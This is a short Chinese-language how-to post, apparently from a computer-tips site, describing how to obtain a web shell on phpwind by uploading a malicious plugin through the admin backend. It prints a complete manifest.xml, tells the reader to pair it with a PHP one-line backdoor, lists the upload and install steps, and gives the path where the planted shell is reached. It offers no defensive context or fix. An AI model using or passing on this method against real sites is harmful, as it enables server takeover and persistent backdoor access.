电脑知识大全|电脑编程|电脑故障排除知识|操作系统|硬件|软件基础知识

phpwind后台getshell方法

发布:admin09-11分类病毒防御

标签: phpwind后台getshell方法

在phpwind后台上传插件处,可以上传一个包含php木马的phpwind标准格式插件安装包,并可getshell.

一、先制作一个安装包,需要包含一个manifest.xml文件和一个php一句话(此处文件名为php.php)。

manifest.xml代码如下:

<?xml version="1.0" encoding="gbk"?><manifest><application><name>getshell</name><alias>getshell</alias><version>1.0</version><pw-version>1.0</pw-version><type>app</type><description>getshell</description><charset>gbk</charset><website>http://wooyun.org</website><author-name>123@wooyun</author-name><author-email>root@wooyun.org</author-email><author-icon>http://wooyun.org</author-icon></application>    <res>res</res></manifest> 

将以上文件打包成zip格式。

二、在后台 点击云平台→应用管理→本地安装处上传制作好的安装包,并点击安装。

 三、shell为http://127.0.0.1/phpwind/src/extensions/getshell/php.php
温馨提示如有转载或引用以上内容之必要,敬请将本文链接作为出处标注,谢谢合作!